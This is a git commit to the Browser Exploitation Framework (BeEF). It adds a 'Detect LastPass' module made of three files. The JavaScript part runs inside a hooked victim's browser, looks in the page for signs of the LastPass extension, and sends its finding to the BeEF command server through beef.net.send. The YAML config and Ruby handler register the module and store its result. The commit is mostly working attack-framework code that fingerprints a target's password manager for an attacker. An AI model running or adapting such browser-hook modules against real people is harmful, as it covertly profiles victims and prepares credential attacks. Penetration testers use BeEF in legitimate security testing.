Detect LastPass module (except on IE) - #802

This commit is contained in:
Christian Frichot
2013-07-20 13:58:20 +08:00
parent a22926bc53
commit 82a70fbcd0
3 changed files with 59 additions and 0 deletions

View File

@@ -0,0 +1,29 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = "Not in use or not installed";
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
if (typeof(lpdiv) != 'undefined' && lpdiv != null) {
//We've got the first detection of LP
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
} else if ($j("script:contains(lastpass_iter)").length > 0) {
//We've got the second detection of LP
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
} else {
//Form is not there, lets check for any form elements in this page, because, LP won't activate at all without a <form>
if (document.getElementsByTagName("form").length == 0) {
//No forms
result = "The page doesn't seem to include any forms - we can't tell if LastPass is installed";
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass="+result);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_lastpass:
enable: true
category: "Browser"
name: "Detect LastPass"
description: "This module checks if the LastPass extension is installed and active."
authors: ["xntrik"]
target:
not_working: ["IE"]
working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_lastpass < BeEF::Core::Command
def post_execute
content = {}
content['lastpass'] = @datastore['lastpass'] if not @datastore['lastpass'].nil?
save content
end
end